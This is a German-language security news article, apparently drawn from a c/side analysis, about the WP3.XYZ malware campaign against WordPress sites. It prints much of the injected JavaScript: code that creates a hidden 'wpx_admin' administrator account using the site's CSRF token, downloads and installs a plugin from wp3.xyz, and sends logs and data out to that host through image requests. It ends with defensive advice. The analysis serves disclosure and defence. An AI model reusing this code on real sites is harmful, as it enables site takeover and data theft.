Über 5.000 WordPress-Sites wurden von der Malware WP3.XYZ angegriffen!
Man hat eine weit verbreitete Malware-Kampagne aufgedeckt, die auf WordPress-Websites abzielt und weltweit über 5.000 Websites betrifft.
Die zugehörige bösartige Domain: h***s://wp3[.]xyz/td.js
Ein Benutzer der Firma c/side war betroffen. c/side hat den Angriff abgefangen und gestoppt. Danach wurde die Attacke analysiert…
Hinweis → Domains can change at any time, this domain was analyzed on January 13, 2025 at 7:34 PM, and may not be up to date.
WP3.XYZ ist eine bösartige Domäne, die zum Herausfiltern vertraulicher Daten, einschließlich Administratoranmeldeinformationen und Betriebsstatus, verwendet wird und gleichzeitig als Quelle für das Herunterladen bösartiger WordPress-Plugins dient, um gezielte Websites zu kompromittieren. Es erleichtert die unbefugte Erstellung, Persistenz und Ausnutzung von WordPress-Schwachstellen durch Administratorbenutzer.
Der c/side-Crawler hat die bösartige Domäne abgefangen
Es ist immer noch unklar, wie die Skripte auf die Websites gelangten. Bisher haben wir keinen gemeinsamen Nenner identifiziert und unsere Untersuchung ist noch nicht abgeschlossen.
Wir wissen, dass das Skript nicht autorisierte Administratorkonten mit einem Benutzernamen und einem Passwort erstellt, die im Code zu finden sind.
- Benutzername: wpx_admin
- Passwort: [ZENSIERT]
Nach der Erstellung des Kontos lädt das Skript ein bösartiges WordPress-Plugin herunter und aktiviert es auf der nun infizierten Website – wodurch vertrauliche Daten an einen Remote-Server gesendet werden. unächst ruft das Skript das CSRF-Token für die Anfrage benötigte ab. Anschließend wird eine POST- Anfrage gesendet, um einen Benutzer mit fest codierten Anmeldeinformationen zu erstellen. Es protokolliert den Betriebsstatus.
async function createUser() {
const userPage = await fetch(`${window.location.origin}/wp-admin/user-new.php`, {
credentials: 'include',
headers: { 'Accept': 'text/html' }
}).then(r => r.text());
const doc = new DOMParser().parseFromString(userPage, 'text/html');
const csrfToken = doc.querySelector('input[name="_wpnonce_create-user"]')?.value;
if (!csrfToken) {
sendLog({ error: 'CSRF token not found', type: 'error' });
return;
}
const formData = new FormData();
formData.append('_wpnonce_create-user', csrfToken);
formData.append('user_login', 'wpx_admin');
formData.append('pass1', '[REDACTED BY C/SIDE]');
formData.append('pass2', '[REDACTED BY C/SIDE]');
formData.append('role', 'administrator');
const response = await fetch(`${window.location.origin}/wp-admin/user-new.php`, {
method: 'POST',
body: formData,
credentials: 'include'
});
sendLog({ status: response.ok ? 'success' : 'failed', type: 'user_create' });
}
Nachdem das Skript das von https://wp3.xyz/plugin[.]php abgerufene Plugin heruntergeladen hat , aktiviert das Skript es auf der infizierten Site. Das Skript kommuniziert mit https://wp3.xyz/tdw1[.]php und sendet vertrauliche Daten wie Administratoranmeldeinformationen und Betriebsprotokolle über verschleierte Bildanfragen.
function sendLog(data) {
const logUrl = 'https://wp3.xyz/tdw1.php';
const img = new Image(); // Logs data via an image request.
const timestamp = Date.now();
img.onerror = () => {
if (retryCount < maxRetries) {
retryCount++;
setTimeout(() => sendLog(data), 1000 * retryCount); // Retry with backoff.
}
};
img.src = `${logUrl}?data=${encodeURIComponent(JSON.stringify({
...data,
url: window.location.origin,
timestamp,
userAgent: navigator.userAgent
}))}&t=${timestamp}`;
}
Sobald der Angreifer Administratorzugriff hat, lädt das Skript ein schädliches Plugin hoch. Es ruft das Plugin von einem Remote-Server ab und lädt es auf die WordPress-Site hoch.
Die installPlugin-Funktion funktioniert wie folgt:
- Ruft die Plugin-Upload-Seite ab, um das CSRF- Token abzurufen.
- Lädt die schädliche Plugin-Datei herunter.
- Sendet die Plugin-Datei zur Installation.
Anschließend werden die folgenden Techniken verwendet:
- Hochladen des Plugins über: /wp-admin/update[.]php?action=upload-plugin
- Abrufen des Plugins von einer externen Quelle: https://wp3[.]xyz
async function installPlugin() {
const pluginPage = await fetch(`${window.location.origin}/wp-admin/plugin-install.php?tab=upload`, {
credentials: 'include',
headers: { 'Accept': 'text/html' }
}).then(r => r.text());
const pluginDoc = new DOMParser().parseFromString(pluginPage, 'text/html');
const pluginToken = pluginDoc.querySelector('input[name="_wpnonce"]')?.value;
if (pluginToken) {
const pluginData = await fetch('https://wp3.xyz/plugin.php', {
mode: 'no-cors'
}).then(r => r.blob());
const pluginForm = new FormData();
pluginForm.append('_wpnonce', pluginToken);
pluginForm.append('pluginzip', pluginData, 'plugin.zip');
const response = await fetch(`${window.location.origin}/wp-admin/update.php?action=upload-plugin`, {
method: 'POST',
body: pluginForm,
credentials: 'include'
});
sendLog({ type: 'plugin', status: response.ok ? 'installed' : 'failed' });
}
}
Das Skript überprüft schließlich, ob das schädliche Plugin erfolgreich installiert wurde, indem es nach Verweisen auf https://wp3[.]xyz im Website-Inhalt sucht.
const finalCheck = await fetch(window.location.origin, {
credentials: 'include',
headers: { 'Accept': 'text/html' }
}).then(r => r.text());
if (finalCheck.includes('wp3.xyz')) {
sendLog({ type: 'verification', status: 'success', message: 'Payload verified' });
} else {
sendLog({ type: 'verification', status: 'failed', message: 'Payload not found' });
}
Schützen Sie sich vor diesem Angriff
- Blockieren Sie die Domäne https://wp3[.]xyz in Firewalls oder Sicherheitstools.
- Überwachen Sie WordPress-Administratorkonten auf nicht autorisierte Benutzer.
- Entfernen Sie verdächtige Plugins und validieren Sie vorhandene.
- Stärken Sie den CSRF- Schutz und implementieren Sie die Multi-Faktor-Authentifizierung (MFA).
- Erwägen Sie die Verwendung von c/side
(Quelle: c/side)